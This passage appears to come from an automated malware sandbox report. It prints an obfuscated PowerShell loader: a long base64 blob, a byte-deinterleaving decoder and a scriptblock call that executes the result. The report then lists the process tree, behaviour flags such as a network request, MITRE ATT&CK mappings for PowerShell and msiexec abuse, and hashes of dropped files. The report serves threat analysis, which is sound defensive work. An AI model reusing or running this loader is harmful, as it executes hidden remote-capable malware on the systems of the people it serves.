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');$fAyzJX9a2m=[byte[]]$ZPvzA_;$w8458=[int]$fAyzJX9a2m[0];$f6806=[int]$fAyzJX9a2m[1];$t8435=[int]$fAyzJX9a2m[2];$n1052=[int](($fAyzJX9a2m.Length - 4) / $w8458);$o6279=New-Object byte[] $n1052;for($r3648=0;$r3648 -lt $n1052;$r3648++){$o6279[$r3648]=$fAyzJX9a2m[4 + ($r3648 * $w8458) + $f6806]};if($t8435 -ne 0){for($r3648=0;$r3648 -lt [int]($n1052 / 2);$r3648++){$a7054=$o6279[$r3648];$o6279[$r3648]=$o6279[$n1052-1-$r3648];$o6279[$n1052-1-$r3648]=$a7054}};$fAyzJX9a2m=$o6279;$mEcHdole8Y=[Text.Encoding]::UTF8.GetString($fAyzJX9a2m);$Y04Mv1kgflOn7u=[scriptblock]::Create($mEcHdole8Y);& $Y04Mv1kgflOn7u"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uv4j2iia\uv4j2iia.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3092
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCE76.tmp" "c:\Users\Admin\AppData\Local\Temp\uv4j2iia\CSCEA45512999D648A19491E2556A7990C6.TMP"
      4⤵
      PID:2520

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58bc95.rbs

Path C:\Config.Msi\e58bc95.rbs
Size 8KB
SHA256 d2d7af367c65ca762c24d052be886aba0e9dedcb75252cefe0cb70651d68753a
MD5 e1b75e44459347653e4c616120c98a6b
SHA1 3d13ed56d03c701a1c32e0f75a5f6ea0e9cc80fb
SHA512 fe2ec062aa257ec1b4545d672c03f28385aa762a0eeead29f20fc6f3bb8a358bb18041f636ec7e7d6349d8539c2eb18a3b157e020e12062795cbf349688cf7c6
SSDEEP 96:tmB9G89qgOuok6XaUIs2CsTlKUIs2C6jqteUTlrvSJhdnuy03mibWlCupnBMGX9Z:wG8ogxUt1lIT1lv6QupR
TLSH
T1EC0235007B6295D2F4AD1B32C74723213372EADE9A02632B569E84289F06BDADF4E545
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESCE76.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESCE76.tmp
Size 1KB
SHA256 2b2aa5cc2da61f6dbfafdb1ca61b30f0df863c21c0faf5a587412a17e21e3752
MD5 d5c0a13b85c0aa2b88c9a10ee4594344
SHA1 16bae55e4aaf79d6c0802b90ade662f98a5d7e0c
SHA512 4df2f65b6ee6c20f177835bb052d396fcd6ed57379c1220ff9627bd8cf9d13364e22457d9dfb9983971e3c70c0078083db67993aaa834561e76618f050a41741
TLSH
T142217B0593F8471FF4B35B3169FA172BA275FEA5EFA1936B854002282C40504EEB0F72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_52ivcgfc.xt0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_52ivcgfc.xt0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

uv4j2iia.dll

Path C:\Users\Admin\AppData\Local\Temp\uv4j2iia\uv4j2iia.dll
Size 4KB
SHA256 863a5b3f2453c266a0e4a19236b833950188753cfca8f5ae41f2f65489b1ccf5
MD5 b2fbd1a3e1e1e2a4ea71a82168dcd4d9
SHA1 8d2b60fc627fa6289c75a39980ca5e16ea4ca941
SHA512 4cdc638dc91eeceddb00d6c7a25ce685fbe2422b2c9bb599e73bad0b8cae4770535f85405b3451be3aaf761c572ca8ed71fb0902d4a1a9725b61f1217c5073d3
TLSH
T168816606ABE84A67E4F7173D9AF303122A70FC506B73971F0CD491285CA82345E627B1
MD5 SHA1 SHA512 TLSH

Submit Download

e58bc94.msi

Path C:\Windows\Installer\e58bc94.msi
Size 3.3MB
SHA256 0d773d5b3d2fac7f53d22a6cb558eb638f62b77c12d8c5e5f29e189750de6733
MD5 113f5dce7f83148cf18f3d447397b18e
SHA1 af4a03053eea8e806770b907060bdb6339987403
SHA512 8cf0751869ff5df4d2b64f702adec4b63e84e4d8e3f86d131aeb92f1f90f72bcf36b72a45d66f3e112c336fe9443912426a591d36424618d60541f6fe07a86f0
SSDEEP 49152:WHX9WA8SZzzXKfoVtnejQq3wOf1sntZCMAT:W3QA8IzDKqUjMK10u
TLSH
T1FEF54B00D499C778E7AF03324EC209289A463B5DD59FD69DFAB525BB808C6FF746812C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 24.1MB
SHA256 7186f65f63f696ec02155f9be7a5b77698e60f05bf08e3d48770cee6428a87ab
MD5 b62cfc5210dbd1d9942f483395cc5710
SHA1 981e37d6852057fbaa377ffa6decbadf5290f5b2
SHA512 07cad08a569dca3e04bc685dc83b5240d0893f99ffacbf4be85ca00b902960a3163089f8c0a7411ba6f5206943d101aa508c8682cc0ca6919670f7ff672cf9a3
SSDEEP 24576:Xu8m+1ztdoO/vvTLrWNOoWaZsEEjF1dSBbGNPic1FUaMeK0wo/lEFb2RY:J
TLSH
T1F047C52437F92240E7F79E3D6CF06A2389397D579C169E8D05421B4E0921BB1E8B2F5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

